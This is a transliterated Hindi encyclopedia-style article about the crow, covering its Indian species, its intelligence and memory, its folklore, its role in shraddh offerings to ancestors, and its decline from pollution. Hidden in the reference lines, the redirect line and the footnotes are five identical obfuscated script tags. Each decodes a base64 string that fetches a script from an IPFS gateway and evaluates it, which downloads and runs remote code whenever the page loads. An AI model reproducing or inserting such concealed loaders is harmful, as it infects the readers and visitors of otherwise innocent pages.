कौआ

thumb|250px|pe d par baithe kaue kaua kale rang ka ek pakshi hai. rajasthani bhasha mean ise 'kagala' tatha marava di mean 'hada' kaha jata hai. yah kabootar ke akar ka kala pakshi hai, jo karn karkash dhvani 'kaanv-kaanv' karata hai. kaue ko bahut uddand, dhoort tatha chalak pakshi mana jata hai. kaua ek vismayakarak pakshi hai. inamean itani vividhata paee jati hai ki is par ek 'kagashastr' ki bhi rachana ki gee hai. bharat mean kee sthanoan par kala kaua ab dikhaee nahian deta. big d rahe paryavaran ki mar kauoan par bhi p di hai. sthiti yah hai ki shraddh mean anushthan poora karane ke lie kaue talashane se bhi nahian mil rahe haian. kaue ke vikalp ke roop mean log bandar, gay aur any pakshiyoan ko bhojan ka aansh dekar anushthan poora kar rahe haian.

prajatiyaan

kaue ki chhah prajatiyaan bharat mean milati haian. bharat ke khyati prapt pakshi vijnani salim ali ne haindabuk mean do ka hi zikr kiya hai- ek jangali kaua (korvas maikrorinkos) tatha doosara ghareloo kaua (korvas splenh deans). jangali kaua poori tarah se kale rang ka hota hai, jabaki ghareloo kaua gale mean ek bhoori patti lie hue hota hai. shayad isi ko dekhakar tulasidas ne 'kag bhushuandi' nam ke amar manas patr ki sankalpana ki ho, jisake gale mean kanthi mala si padi hai.

chatur chanchal buddhi

visheshajn batate haian ki kauoan ka dimag lagabhag usi tarike se kam karata hai, jaise chimpainji aur manav ka. ve logoan ki nazar mean achhoot haian, par itane chatur-chalak hote haian ki chehara dekhakar hi jan lete haian ki kaun khuraphati hai aur kaun dost ho sakata hai. kauve apani chaturaee dikhane mean lajavab hote haian. vaijnanik inako umda chatur pakshiyoan mean isalie ginate haian, kyoanki inhoanne aise tamam imtihan pas kiye haian, jinhean doosare pakshi pas nahian kar pate. israili kauvoan ki kuchh prajatiyoan ko to itana prashikshit kar liya jata hai ki ve machhaliyaan pak dane ke lie bred ke tuk doan ko sahi jagah le jane ka kam nipata dete haian. amariki yoonivarsiti aauf vashiangatan ke shodhakartaoan ka kahana hai ki ve khud ke lie khatara paida karane vale chehare ko paanch sal tak yad rakh sakate haian. thumb|left|200px|bharatiy kaua

sandesh vahak

poorvi eshiya mean kauvoan ko kismat se jo da jata hai to apane yahaan muander par baithakar kaanv-kaanv karane vale kauve ko sandesh-vahak bhi mana jata hai. kuchh kauve kamazor p davoan ko taja maans khane ke lobh mean mar tak dete haian. bhoore gale vale kauve phasalean tabah karane mean avval hote haian. airish kauvoan ko yuddh aur mrityu ki devi se jo date haian. aaustreliyaee inako sanskriti nayak ke taur par dekhate haian. bharat mean kauve ka sir par baithana bura mana jata hai aur isako tone ke roop mean pracharit kiya jata hai. yog vashishth mean kak bhusuandi ki charcha hai, ramayan mean bhi sita ke paanv par kauve ke choanch marane ka prasang aya hai.

kamal ki yadadasht

apani yadadasht ke bal par kauve apane lie surakshit rakhe ge bhojan ke bare mean bhi yad rakhate haian, jisako bhookh lagane par ve prayog kar lete haian. kuchh samay pahale hi kauoan ki ek nayi prajati khoji gee hai, jo rojamarra ki zaroorat ke anusar apane aujaroan ko bhi prayog karati rahati hai. ye khana prapt karane ke lie sookhi dandi ya patti ko choanch ke sahayog se kisi chatur ki tarah istemal karate haian. yah bhi dekha gaya ki ye jor se band nats ko s dak par girakar kisi vahan dvara unako kuchal kar khol die jane ka iantazar bhi karate haian. aauksaphord vividyalay ne 2007 ke apane adhyayan ka natija diya tha, jo nyookailodiyan kauvoan par nanhe kaimare lagakar pae ge the. paya gaya ki ve bahut si nayi chijoan ko bhi apani zaroorat par aujar bana lete haian. khodane, bhurabhura ya mulayam karane, mo dane ya kuchh milakar nayi tarah ka khady taiyar karane mean maharathi hote haian. aaustreliya ke kviansalaiand mean aise kauvoan ki prajati bhi mili, jo kain ko kholakar driank pi sakate haian.^[1]

shraddh mean kaue ka mahattv

[[chitr:Crow.jpg|thumb|kaua|250px]] bharat mean hindoo dharm mean shraddh paksh ke samay kauoan ka vishesh mahattv hai aur pratyek shraddh ke dauran pitaroan ko khana khilane ke taur par sabase pahale kauoan ko khana khilaya jata hai. aisa mana jata hai ki vyakti mar kar sabase pahale kaue ka janm leta hai. manyata hai ki kauoan ko khana khilane se pitaroan ko khana milata hai. jo vyakti shraddh karm kar raha hai, vah ek thali mean sara khana parosakar apane ghar ki chhat par jata hai aur zor-zor se kobas 'kobas' kahate hue kauoan ko avaz deta hai. thodi der bad jab koee kaua a jata hai to usako vah khana parosa jata hai. pas mean pani se bhara patr bhi rakha jata hai. jab kaua ghar ki chhat par khana khane ke lie ata hai to yah mana jata hai ki jis poorvaj ka shraddh kiya gaya hai, vah prasann hai aur khana khane a gaya hai. kaue ki deri v akar khana n khane par mana jata hai ki vah pitar naraz hai aur phir usako raji karane ke upay kie jate haian. is dauran hath jo dakar kisi bhi galati ke lie mafi maang li jati hai aur phir kaue ko khana khane ke lie kaha jata hai. jab tak kaua khana nahian khata, vyakti ke man ko prasannata nahian milati. is tarah shraddh paksh mean kauoan ki bhi pau barah rahati hai.

sankatagrast prajati

vartaman samay mean kaua bhi pakshiyoan ki sankatagrast prajatiyoan mean sammilit ho gaya hai. pahale kauoan ke jhund ke jhund dikhaee dete the, lekin ab inhean dekh pana kathin ho gaya hai. ane vale samay mean shayad is kahavat ka koee arth nahian rah jayega ki- "jhooth bole kaua kate". 'aligadh muslim yoonivarsiti' ke vany jiv vibhag ke d aau. aphiphulla kahate haian ki pradooshan ke sath-sath simat rahi bayodayavarsiti ke karan bhi kauoan ki sankhya tezise ghati hai. vatavaran asantulan ke karan hi gauraiya aur baya ki tarah kaue lupt hone ki kagar par a ge haian. manav ki khan-pan ki adatean badali haian. kaue gandagi khate haian. koo da ab palithin mean pheanka jata hai. mare hue janavaroan ki haddiyoan tak mean kemikal hote haian. khetoan mean kitanashakoan ke roop mean jahar phaila hua hai. adhyayan se pata chala hai ki aauksitosin ke ianjekshan jin pashuoan mean lagae jate haian, unaki maut ke bad maans khakar pakshiyoan ki kidani barbad ho gee. vah pakshi vilupti ki kagar par a ge. yahi kauoan ke sath bhi hua hai.^[2] ab kaue ke vikalp ke roop mean log bandar, gay aur any pakshiyoan ko bhojan ka aansh dekar anushthan poora karane ko vivash ho rahe haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hairan kar deti hai kauve ki buddhi (hiandi) (ech.ti.em.el) samay laiv. abhigaman tithi: 11 aprॅl, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ shraddh mean anushthan ko bhi nahian mil rahe kaue (hindi). . abhigaman tithi: 19 sitambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

REDIRECT saancha:jiv jantu<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] ran kar deti hai kauve ki buddhi (hiandi) (ech.ti.em.el) samay laiv. abhigaman tithi: 11 aprॅl, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] shraddh mean anushthan ko bhi nahian mil rahe kaue (hindi). . abhigaman tithi: 19 sitambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

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कौआ